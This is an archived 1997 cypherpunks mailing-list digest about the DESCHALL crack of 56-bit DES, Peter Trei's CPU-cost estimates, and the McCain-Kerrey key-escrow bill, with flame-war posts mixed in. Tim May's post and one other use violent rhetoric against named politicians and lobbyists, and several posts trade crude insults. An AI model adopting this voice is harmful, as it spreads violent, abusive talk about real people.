At 03:35 PM 6/18/97 -0500, ARTURO GRAPA YSUNZA wrote:
>I actually got a kick out of reading the bullshit in the press release.
...
>You should have given credit to DESCHALL whose effort is be applauded.

I mostly agree with Arturo, especially about giving credit and
indicating how many machines were participating.
Publicity about how the Feds are trying to push
weak crypto on us is worthwhile - the timing was especially pleasant
given Kerrey's new anti-crypto bills in Congress.
Sameer's post did two things - hyped his own company (hmmm :-)
and provided an opportunity for good inflammatory rhetoric.

On the other hand, DES really is _much_ weaker than the DESCHALL
project indicates - Intel CPUs aren't at all tuned for DES cracking,
whereas a custom DES-cracker with similar horsepower could have
done the job a lot faster.  If I remember right, Wiener's design
used 64,000 chips, about as many as there were PCs working DESCHALL,
for a crack that would take hours instead of months.

		


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 20 Jun 1997 00:02:25 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: E-Cash
In-Reply-To: <199706191100.EAA28681@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970619094414.106054Y-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim May is another loser who pays for got.net because he lacks the 
> mental capacity to gain net access as a perk of either employment 
> or academic achievment.
> 
>           ((__)) Tim May
>            (00)
>           (o__o)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 17:31:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <199706190155.SAA08785@gabber.c2.net>
Message-ID: <Pine.LNX.3.91.970619094828.559E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> INetZ vice president Jon Gay said "We hope that this will encourage
> people to demand the highest available encryption security, such as
> the 128-bit security provided by C2Net's Stronghold product, rather
> than the weak 56-bit ciphers used in many other platforms."

INetZ obviously hasn`t had experience of C2Net, the censorous cocksuckers 
who send lawyer letters to security consultants who question the strength 
of their products.

> C2Net is the leading worldwide provider of uncompromised Internet
> security software. C2Net's encryption products are developed entirely
> outside the United States, allowing the firm to offer full-strength
> cryptography solutions for international communications and
> commerce. 

C2Net also censor all dissenters over the security of their products, try 
it if you want to prove my point, just post a message to a security forum 
questioning the security of stronghold.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 20 Jun 1997 00:02:42 +0800
To: cypherpunks@toad.com
Subject: DES: Thank you!
Message-ID: <199706191540.IAA17231@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



     Well Done!

     My congratulations go out to Rocke Verser, Mike Sanders, 
and all of the other people who developed code and/or ran
clients for the DES challenge. The crack comes roughly at the
time I predicted when I first proposed the challenge, and
at a very opportune moment to influence action in the US
Congress.

     I first proposed the challenge on Oct 1, 1996, in a posting 
to the cypherpunks mailing list: "Can we kill single DES?". Later 
that month, at the suggestion of Ron Rivest, I approached Jim 
Bidzos of RSA Data Security Inc. with the idea. From the start, 
RSA was enthusiastic, and sponsored the challenge to the tune of 
$10,000.

     I wrote some of the earliest key search routines, and
invented a technique to reduce the key schedule generation
from 80% of the total work to less than 5% - a technique which
was universally adopted by key search engine writers.

     I and others also worked on the other major part - the DES 
round. My initial version was substantially faster than any
previously existing Intel version, but later  Sven Mikkelsen of
Danemark found substantial improvements over my code.

     Sven, Rocke, and others also invented techniques to speed up
the search by reducing the number of DES rounds which needed to
be performed; I had reduced the original 16 to 14, but they got
it down to under 12.

     The upshot of this was that searching for keys became faster
than straightforward encryption or decryption with a single key.

---------------------------
What does this tell us?
What do we tell the public?
---------------------------

Single DES can be cracked for under $10,000. Any system 
in which a single DES key protects more than $10,000 in assets 
is inadequate. Thus, one $10,000 message, or even 10 bank
cards with $1000 in their accounts, becomes a tempting target 
(some banking systems use the same DES key for many cards). 

Future cracks can only get faster. Processor speeds continue
to climb, and the number of available computers increases
similarly; thus, the number of available cycles more than
doubles every year - and the cost of a cracked key halves.

This was probably the *least* efficient way to crack DES;
Wiener and others have shown that machines can be built that
will crack DES far faster and cheaper, but the method used
won because it used existing resources, with no significant
upfront development costs.

No enterprise which wishes to use or offer security should 
consider single DES from this point on. If this crack does
anything, it demonstrates that the US Government's offers
to permit the export of single DES are worthless. 

Even without formal organization, distributed computing on
the Internet can muster awesome cpu power - I estimate about
half a million MIP years were used (see below).

-------------------------------
How much cpu was actually used?
-------------------------------

The following is a very rough calculation, there are lots of 
assumptions.

1. DESChall searched 25% of the keyspace - other efforts got
about the same, so we checked roughly 2^55 keys

2. I'm assuming that most search engines used roughly the same
number of operations per key checked, regardless of processor. 
64 bit machines could do better, especially with bitslice 
algorithms.

3. The Pentium code is highly optimized, and thus is executing
roughly 2 instructions per clock cycle.

Lets do the numbers.

from the DESChall benchmark page:

Dual Pentium 200 MHz ......... 2.003M keys per second 

= 200MHz is roughly 400MIPs, due to Pentium's dual pipelines.

-> 1 Mkey/sec = 400 MIPs, or roughly 400 instructions per key.
   (this sounds about right, from my own DES Intel assembly work).

2^55 keys = 3.6*10^16 keys
* 400 = 1.44*10^19 instructions
= 1.44*10^13 million instructions.

= 457,000 MIP years used in the calculation.

Lenstra has stated that, in the factorization of RSA-130:

"we would have spent about 500 mips years (i.e., 10% of the 
computing time spent on the 129-digit QS-record) if we had 
done all the sieving on average workstations with at least 
24 megabytes of memory" 
(from http://enigma.ncsa.uiuc.edu/~dun/rsa-130.shtml)

This suggests that cracking DES used roughly 2 orders of
magnitude (ie, 100x ) more CPU than RSA-129, which I suspect
makes it a record for the largest calculation ever performed.

----------
What next?
----------

Two targets suggest themselves:

1. 56 bit RC5.
2. RSA 135


1. 56 bit RC5.

The earlier efforts on 40 and 48 bit RC5 suggest that keysearch
for RC5 is substantially slower than DES - perhaps 5-10 x slower. 
It's probable that the clients have not been fully optimized.
RSA has another $10,000 prize for this crack.

2. RSA 135 

We used about 1000x the cpu needed for the RSA 130 factorization.
I'm not sure how the best current factorization systems scale
with the modulus size (Rivest, Lenstra?) but I suspect that it's
less than linear. If this is so, then RSA 135 may be doable. RSA135
is roughly comparable to a 448 bit key. RSA also has a prize for
this factorization.

Peter Trei
trei@process.com

DISCLAIMER: The above represents my opinions only, not neccesarily
those of my employer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 00:49:44 +0800
To: cypherpunks@toad.com
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <Pine.LNX.3.91.970619094828.559E-100000@fatmans.demon.co.uk>
Message-ID: <sqZJ9D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> 
> 
> 
> > INetZ vice president Jon Gay said "We hope that this will encourage
> > people to demand the highest available encryption security, such as
> > the 128-bit security provided by C2Net's Stronghold product, rather
> > than the weak 56-bit ciphers used in many other platforms."
> 
> INetZ obviously hasn`t had experience of C2Net, the censorous cocksuckers 
> who send lawyer letters to security consultants who question the strength 
> of their products.
> 
> > C2Net is the leading worldwide provider of uncompromised Internet
> > security software. C2Net's encryption products are developed entirely
> > outside the United States, allowing the firm to offer full-strength
> > cryptography solutions for international communications and
> > commerce. 
> 
> C2Net also censor all dissenters over the security of their products, try 
> it if you want to prove my point, just post a message to a security forum 
> questioning the security of stronghold.

I recall reading that the Hebrew word "Amen", meaning roughly, "it is so",
comes from the name of the Egyptian god Amon.  Therefore "by Jove" is a
close English equivalent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 20 Jun 1997 03:06:32 +0800
To: cypherpunks@Algebra.COM
Subject: New crypto bill clears committee
Message-ID: <33A98371.244@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0,4,11693,00.html

The fix is in...


New crypto bill clears committee 
By Alex Lash
June 19, 1997, 11 a.m. PT 

just in Just two days after it was introduced, a bill that seeks
to impose restrictions on the domestic use of encryption sailed
without hearings through the Senate Commerce Committee. 

The bill, sponsored by Commerce Committee chairman John
McCain (R-Arizona) and Bob Kerrey (D-Nebraska),
originally was a proposal floated by the White House as an
alternative to other bills that aim to lift most restrictions on
the use and export of encryption software. The Commerce
Committee passed the bill on a voice vote. Unless it is
diverted to another committee, the bill will be scheduled for a
full Senate vote. 

Privacy advocates viewed the success of the McCain-Kerrey
bill, known formally as the Secure Public Networks Act of
1997, with great concern. 

"This is majorly bad news," David Sobel, legal counsel for the
Electronic Privacy Information Center, said today. "It basically
mandates use of key recovery encryption in any federally
supported network, including universities. It also muddies the
waters for the prospects of liberalizing encryption policy, and
it's directly at odds with the SAFE bill that is moving through
the House." 

Both the SAFE bill in the House and the Pro-Code bill in the
Senate seek to ban federally mandated key recovery.
Pro-Code had early success after its reintroduction this year
but has stalled in the same committee that just passed the
McCain-Kerrey bill. 

Like the White House proposal, the McCain-Kerrey bill
seeks to impose for the first time mandatory key recovery
within the United States on top of the White House's crypto
export regulations.

Despite implementing tight domestic controls on encryption,
the bill leaves open a window for looser export controls. It
gives the Commerce Department secretary leeway to approve
the export of strong encryption software without key recovery
if similar products already or soon will be available.

The bill slams the door, however, on the possibility of
challenging a crypto export denial: "The secretary's decision
on the grounds for the grant or denial of licenses shall not be
subject to judicial review." 

The struggle over encryption policy has centered on law
enforcement access to private information transmitted
electronically or stored on computers. The government argues
that criminals will use unregulated strong encryption to keep
their plans secret. The use of key recovery requires users of
encryption software, such as secure email programs, to store
their keys in a place where the government can quickly access
them without the users' knowledge. 

The McCain-Kerrey bill would make key recovery mandatory
for all products purchased by the government and for any
product used on a network that is even partially funded by the
federal government. The bill also states that law enforcement
would require only a subpoena to access private keys,
whereas current federal regulations require a court order.

The new bill would also link digital certificates to key recovery
and grant government the authority to license digital
certificates. These certificates, which establish and verify the
identity of the sender of an encrypted communication, are
considered a critical element of electronic commerce.
However, if McCain-Kerrey becomes law, users won't be
able to obtain a government-approved certificate without
storing their keys with a third party. 

Current regulations administered by the Commerce
Department allow software makers to export encryption up to
56 bits in strength without a license or key recovery
mechanisms. That limit seems less secure, however, after
yesterday's announcement that thousands of people linked
their computers over the Internet to crack a 56-bit DES code
from RSA Data Security. 

In a report released last year, a group of leading
cryptographers recommended a minimum key length of 90 bits
to ensure secure communications.

Senior writer Janet Kornblum and reporter Courtney
Macavinta contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 20 Jun 1997 01:35:25 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <v03007803afcf197b5cfb@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	Two kibitizers wrote:

>> > "That DES can be broken so quickly should send a chill through the
>> >heart of anyone relying on it for secure communications,"
>>
>> I'm shitting bricks. No mention was made that only 25% of the keyspace
>> was tested.

	Then Paul Bradley <paul@fatmans.demon.co.uk> the sage moderator of
Cryptography.Uk stepped in:

>Not only that, but single DES with a 56 bit key is just not being used
>anymore in any company which has the slightest clue. If they can run a
>distributed crack on 3DES with independent subkeys then I`ll give them
>some attention.

	You've convinced me, the UK _is_ on a different planet!


      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William Casperson (Compaq)" <v-wcaspe@MICROSOFT.com>
Date: Fri, 20 Jun 1997 04:17:44 +0800
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <40357F94775ECF118C2800805FD46CBD86C13D@RED-69-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Fri, 20 Jun 1997 04:40:03 +0800
To: cypherpunks@Algebra.COM
Subject: It ain't just crypto they're screwing with....
Message-ID: <199706192024.NAA10518@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




People sometimes wonder why I'm moving toward the "just kill them all"
position, meant rhetorically, of course. (I would never, never suggest
that anyone actually kill the criminals McCain or Kerrey, or the other 533
criminals, but they have surely all richly earned whatever befalls them.)

Besides the blizzard of new crypto laws, some proposed, some passed,
similar nonsense can be found in almost every other area of life. Here in
Kalifornia, not even the cops and district attorneys seem to know what's
happening with gun laws, knife laws, insult speech laws, and so on. And
here in my little piece of Paradise, a recent law made it illegal to
"discriminate" against those with rings through their noses, studs through
their tongues, etc. (Some of you, being "punks," may actually be so
adorned. I hope you understand the deeper point that what I do with my
property, including who I hire, is my business, not the "Committee Against
Appearance Discrimination's" bussiness.)

The real problem is that the thousands of professional politicians, the
organized crime families of politics, and the hundreds of thousands of
cops, narcs, judges, bureaucrats, drones, and other criminals keep on
writing more laws, trying to patch the broken aspects of society with more
and more laws. 

Anyway, one of my occasional interests is following the knife community.
After recent warnings that the knife laws in my area may make it illegal
to carry a folding knife either in my pocket ("concealed") or clipped to
my belt ("brandishment"), I started paying close attention to what the
clowns in Sacramento are doing to resolve this situation. As might be
expected, they are screwing things up further.

As with crypto, the laws keep getting more and more complex, with layers
upon layers of cruft making nearly any interpretation a DA (District
Attorney, or Prosecuting Attorney) might want to push possible. As the
famous saying by a corrupt (as most of them are) DA went, "I could get an
indictment against a ham sandwich if I wanted one.")

Here's an insight into the knife laws in California. It makes me want to
climb a tall tower and start shooting. (I won't, of course, but I am
confirmed in my view that the politicians in Sacramento and D.C. ought to
be disposed of as quickly as possble. Hang the bastards.)

> From: James & Toni Mattis <jkmtsm@earthlink.net>
> Newsgroups: rec.knives
> Subject: Re: California cuttery enthusiasts, support AB 78
> Date: Wed, 18 Jun 1997 20:52:41 -0700

> 
> BUD LANG wrote:
> > 
> > I am publishing an article in the October 1997 edition of Knives
> > Illustrated, written by Chris Micheli, the gent in Sacramento who is
> > fighting the battle for Buck Knives. The Calif DA's association and the
> > Sheriffs are seeking to have that bill changed again. Why? They claim
> > everyone and his cousin is now on the streets using these knives in
> > combat. We all know this is bull pucky, but they want to change it back.
> > Bud
> 
> Latest news on AB78: After another conference with law & order types,
> they've removed from the bill the part that says it's OK to carry a
> fixed blade knife in a container like a backpack, toolbox, purse,
> etcetera. The part that decrminalizes folders is still there, but if you
> buy a chef's knife in the mall, you can't carry it to your car in a
> shopping bag. You'll have to carry it openly through the mall and scare
> lots of people instead. 
> 
> This isn't a stretch. The Los Angeles public defender's office has a
> pending case where they busted a homeless guy for having a steak knife
> in his backpack. Unofficial word is that he's a little too crazy to
> stand trial, but I can't get it in writing that they'll only do that to
> crazy poor people, and crazy poor people need to eat, etcetera, too.
> 
> The law is an ass. I've squawked to the lobbyist, and my squawk to some
> other people goes out tonight.
> 
> James K. Mattis
> http://home.earthlink.net/~jkmtsm
> "If the law supposes that . . . the law is a ass, a idiot" - Dickens

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 02:32:59 +0800
To: geeman <geeman@best.com>
Subject: Re: FYI: Who owns Sen. Kerrey (LONG)
In-Reply-To: <33A959DC.5793@best.com>
Message-ID: <v03007804afcf2768b2ae@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I suggest you wonder about McCain and Kerry-without-the-e.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 07:47:54 +0800
To: cypherpunks@toad.com
Subject: Re: author slip or conscious misdirection? (was Re: Declan as a Crime
In-Reply-To: <199706191810.TAA00201@server.test.net>
Message-ID: <Hu8J9D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> 
> 
> anonymous writes:
> > An interview with cypherpunks founder Timothy C May, Jim Bell 
> > and various other Cypherpunks also present.
> > Interview conducted by Declan McCullagh
> > ...
> 
> Excellent take almost of the quality of the Cypherpunks Enquirer's
> work.  Well done.
> 

Yes I think this was very funny!  I do wish such stuff appeared more often.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 20 Jun 1997 06:13:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <199706192203.PAA25585@f30.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>Frist also introduced amendments to the McCain-Kerrey
>bill that were accepted:
>
>* Requiring that not any Federally-funded
>  communications network, but only ones established "for
>  transaction of government business" would use key
>  escrow -- thereby jumpstarting the domestic market.

Will this narrow the bill so it no longer applies to researchers,
students and others who happen to use subsidized networks?  If so,
that would take out the worst part of it.  Key escrow when you're
sending to the government isn't so bad, since the government can
read your message anyway.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 20 Jun 1997 03:25:21 +0800
To: cypherpunks@toad.com
Subject: e$: Fickle Fingers of Fate...
Message-ID: <v03020900afcf3397ae39@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 19 Jun 1997 12:47:32 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: Fickle Fingers of Fate...

At 11:00 pm -0400 on 6/18/97, Tim May wrote in cypherpunks:


> Not that it matters. Face it, our words in print vanish without a trace,
> and are remembered by nobody except ourselves.

Yeah, but every once in a while the ideas stick in the head of someone
else, which is good enough for me, and, ironically, where my aforementioned
"aspirations to lethargy" regarding getting "credit" for the quote comes
from. Sometimes having people think about something is much more important
than them knowing who gave them the idea.

On the other hand, I get e-mail from people all the time for stuff I've
written or said (with attribution) in the press and on the net, and most of
those people are excited about all this new stuff they haven't heard of
before. I get quite a great kick out of that.


Sometimes, though, speaking of kicks, I do feel like I've got a "kick me"
sign on my back or something. I just got a copy of the NHK video about
Sameer, (and cryptography ;-)), and FC97 is talked about there a lot, but,
unfortunately, no real credit given to Ray Hirshfeld as conference chair
for organizing the program, or, for that matter, for myself as the the guy
whose idea FC97 was in the first place. Also, while not having read the
July Wired yet, I have heard from other people that the article reads like
FC97 was Vince Cate's idea and not mine.  On the other hand, I'm pretty
sure that the reason that Vince got front and center was because I didn't
jump out there steal it from him. ;-). Any "fault" for not making sure
proper "credit" was given is primarily my own, as the, um, promoter, of
FC97, anyway. So, maybe we should have a press conference or something next
year and put out the "official" story, just to further complicate matters.

Frankly, since Vince actually *did* do all the *work* on Anguilla itself,
as well as helping to sholder whatever financial risks there were, along
with running the money, and the transaction processing on offshore.com.ai,
and lots of other important stuff, and, since Ray and I *really* want to do
it there again next year, Vince can have all the 'credit' he wants. :-).
Especially if I get to go to Anguilla for free once a year, and, like I did
last time, walk around like I own the place. (My needs are simple, you
see...)


I do think my own powers of hucksterism are improving, though. A banking
conference organizer called yesterday, and she wanted me be a speaker at a
series of conferences in London, San Diego and Malaysia. I figured I'd do
the old digital bearer certificate "book-entry settlement is dead" bit and
scare them all a little. We'll see if she still wants me after she sees the
e$ home page and my nonexistant credentials for outraging the financial
status quo.  As usual for these things, of course, I'm not getting paid
anything but travel and room and board expenses. (Now, where's that 'kick
me' sign, again? I *know* it's back there somewhere...)

On the same terms, but for nice people anyway, Dave Birch from Hyperion is
having me fly out to London to do an electronic money conference in
October, and I'm supposed to speak at MacWorld Boston in August. In
addition, I'm going to be on a national talk radio network again pretty
soon, and I'm in the process of cranking out another rant-for-publication,
if I can just keep the thing from getting bigger every time I sit down to
work on it. Somebody's also talking about recording me doing some of my
rants for audio tape. Finally, the FC97 proceedings are just about ready,
and Springer-Verlag will have them later this summer. Since I get to edit
the introduction, I at least get to make sure they spell my name right.
:-). And, of course, the process of organizing FC98 is just starting to
get, um, organized, and that's fun to think about. (The dates for the
conference next year will be February 23-27, in case people want to save
the date.)


So, while I still haven't quite cultivated the ability to create that
completely sterile no-man's land between me and a TV camera just yet (I
heard someone say on cypherpunks that the most dangerous place in the world
was between Phill Gramm and a TV camera...), I'm having an enormous amount
of fun, attributed or not.


Oh, and I forgot e$lab. I've gotten mail from about 50 people in response
to the initial pair of rants, and we're in the process of preparing some,
er, collateral information (can't call it a business plan, really, because
whatever management team we put together will actually have to write their
own plan from scratch), to hand to people who happen to wander in too close
to Hettinga's Patented Reality Distortion Field (tm). Yeah, I know, Jobs
has one too, but mine's patented and trademarked. Something I learned from
a fellow Universalist, P.T. Barnum. Besides, the knob on my *my* reality
distortion field goes to 11.

So, I suppose, when all that 'credit' is passed around some day, I'll be
getting my share.

My next trick, though, is to get some money in the door for all this fun
I've been having. I'm starting to feel like Stephenson's Hiro Protagonist,
at the moment, though not nearly as cool. (Heck, I can't even write code.)
Nonetheless, I suppose I'm lucky I get to do what I love, though I can't
exactly describe it to people very well. Most people don't get that chance
very often. To do what they love to do, I mean.

Now, where *is* that "kick me" sign...

Cheers,
Bob Hettinga,
(currently suffering rotator cuff injuries from trying to swipe at his back
all the time...)




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 20 Jun 1997 07:06:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <199706192251.PAA01466@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

 > Sen. John McCain (R-Ariz.), committee chair and chief
 > sponsor of the measure, led the attack, saying Congress
 > must "stop child pornography on the Internet and Internet
 > gambling. These legitimate law enforcement concerns cannot
 > and should not be overlooked or taken lightly."

This is of course an interesting suggestion, since most underage
erotica and gambling on the Net aren't encrypted in the first
place.  It reminds me of one Islamic country where the leaders
introduced television by reading the Koran over it, daring
critics to attack something that could be used to transmit the
word of God.

We have much the opposite situation here in the United States,
where any new technology is immediately judged by whether it can
be used to transmit pictures of naked children, or thwart
attempts by law enforcement to stamp them out.

 > He warned that allowing encryption to be exported would
 > permit child pornographers to use it.

Perhaps by "Child Pornographers," the good Senator means those
legally producing erotica in countries where the permissible age
is 16 or 17, as opposed to the US-Mandated Official Age of
Adulthood and Full Responsibility(tm) of 18.

Countries where, of course, would-be child pornographers use only
quality American encryption, the population of such nations being
so busy pornographing that they have no time to develop strong
encryption products of their own.

 > (At this point, one of the more deaf committee members
 > asked, "Pornography? Are we going to ban pornography?")

A memorable moment, I am sure, comparable to when Senator
Hollings attempted to pronounce "Beavis and Butt-Head."

 > After the vote, advocacy groups tried to put a good face on
 > the devastating loss -- and an expensive defeat it was.

You really can't fight Congress.  Ten minutes after you defeat a
bill and spend all your resources, it will be back on the floor
under another name and the whole thing will start over again.
After you defeat that one, you will discover that the text of the
measure got passed late one night as an ammendment to something
completely unrelated.

The government has infinite resources to harp incessantly on
anything until they engineer consent for it and get what they
want. Resistance is Futile.  You will be Assimilated.

 > "There's another day. We have confidence in the system," said
 > BSA's Robert Holleyman. CDT's Jerry Berman said, "What is
 > encouraging is that unlike the CDA other committees are getting
 > involved."

These two should be the first up against the wall when the
revolution comes.

On an unrelated note, after posting just ONE message to
cypherpunks from my new Zipcon account, my mailbox is beginning
to swell with Unsolicited Bulk Email.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 20 Jun 1997 05:21:52 +0800
To: cypherpunks@Algebra.COM
Subject: ping
Message-ID: <199706192108.QAA01415@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6mgxo9Co1n+aLhhAQGL6AQAixZikrODaTGvexNLkLn9N1Ccj6udj8xU
OnVHZ9Czqymic7za4Y+1xFiFL+93SBlZDe9lGwu6Dlj6mA7W7uje17Wszfb6+NLO
aG9p8bqp2bFD+MD6UIGSDntlTL0LiRc//0PfHCzR1ABgtEOfDRLX0Aq5JgcYL/tl
zY3VBlF4n1w=
=ALs+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 04:32:25 +0800
To: cypherpunks@toad.com
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <v03007801afcf434c4bd2@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



In the end, it was child pornography that derailed
encryption legislation in the U.S. Senate and dealt a
bitter defeat to crypto supporters. Spurred by the
chairman's denunciations of cyberporn, a majority of
the Senate Commerce Committee rejected ProCODE II this
morning -- and instead approved a bill introduced
earlier this week that creates new Federal crimes for
some uses of crypto and an all-but-mandatory key
escrow infrastructure.

Sen. John McCain (R-Ariz.), committee chair and chief
sponsor of the measure, led the attack, saying
Congress must "stop child pornography on the Internet
